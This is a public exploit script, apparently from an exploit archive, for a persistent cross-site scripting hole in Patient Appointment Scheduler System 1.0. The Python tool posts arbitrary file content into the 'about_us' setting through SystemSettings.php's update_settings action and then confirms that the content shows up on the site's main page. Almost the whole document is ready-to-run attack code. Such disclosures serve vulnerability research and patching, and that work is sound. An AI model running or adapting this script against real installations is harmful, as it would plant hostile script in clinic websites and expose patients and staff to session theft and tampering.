# Exploit Title: Patient Appointment Scheduler System 1.0 - Persistent/Stored XSS # Date: 03/09/2021 # Exploit Author: a-rey # Vendor Homepage: https://www.sourcecodester.com/php/14928/patient-appointment-scheduler-system-using-php-free-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14928 # Version: v1.0 # Tested on: Ubuntu 20.04.3 LTS (Focal Fossa) with XAMPP 8.0.10-0 # Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Patient_Appointment_Scheduler_System/v1.0/writeup.md #!/usr/bin/env python3 # -*- coding: utf-8 -*- import os import logging import requests import argparse BANNER = """ ╔═══════════════════════════════════════════════════════════════════╗ ║ Patient Appointment Scheduler System v1.0 - Persistent/Stored XSS ║ ╚═══════════════════════════════════════════════════════════════════╝ by: \033[0m\033[1;31m █████╗ ██████╗ ███████╗██╗ ██╗\033[0m \033[0m\033[1;32m██╔══██╗ ██╔══██╗██╔════╝██║ ██║\033[0m \033[0m\033[1;33m███████║ ███ ██████╔╝█████╗ ██╗ ██═╝\033[0m \033[0m\033[1;34m██╔══██║ ██╔══██╗██╔══╝ ██╔╝ \033[0m \033[0m\033[1;35m██║ ██║ ██║ ██║███████╗ ██║ \033[0m \033[0m\033[1;36m╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ \033[0m """ def exploit(url:str, file:str) -> None: if not os.path.exists(file): logging.error(f'{file} does not exist?') return logging.info(f'reading {file} for XSS content ...') with open(file, 'r') as f: xssPayload = f.read() logging.info(f'sending XSS payload ({len(xssPayload)} bytes) to {url}/classes/SystemSettings.php ...') r = requests.post(url + '/classes/SystemSettings.php', data={'about_us' : xssPayload}, params={'f' : 'update_settings'}, verify=False ) if not r.ok: logging.error('HTTP request failed') return logging.info('checking for XSS payload on main page ...') r = requests.get(url) if xssPayload not in r.text: logging.error(f'XSS injection failed? received: {r.text}') logging.warning('maybe about.html is not writable?') return logging.success('XSS payload found on target website') return if __name__ == '__main__': # parse arguments parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER) parser.add_argument('-u', '--url', help='website URL', type=str, required=True) parser.add_argument('-f', '--file', help='file with DOM content to inject', type=str, required=True) parser.add_argument('--debug', help='enable debugging output', action='store_true', default=False) args = parser.parse_args() # define logger logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO' if not args.debug else 'DEBUG') logging.SUCCESS = logging.CRITICAL + 1 logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m') logging.addLevelName(logging.ERROR, '\033[0m\033[1;31mFAIL\033[0m') logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m') logging.addLevelName(logging.INFO, '\033[0m\033[1;36mINFO\033[0m') logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args) # print banner print(BANNER) # run exploit exploit(args.url, args.file)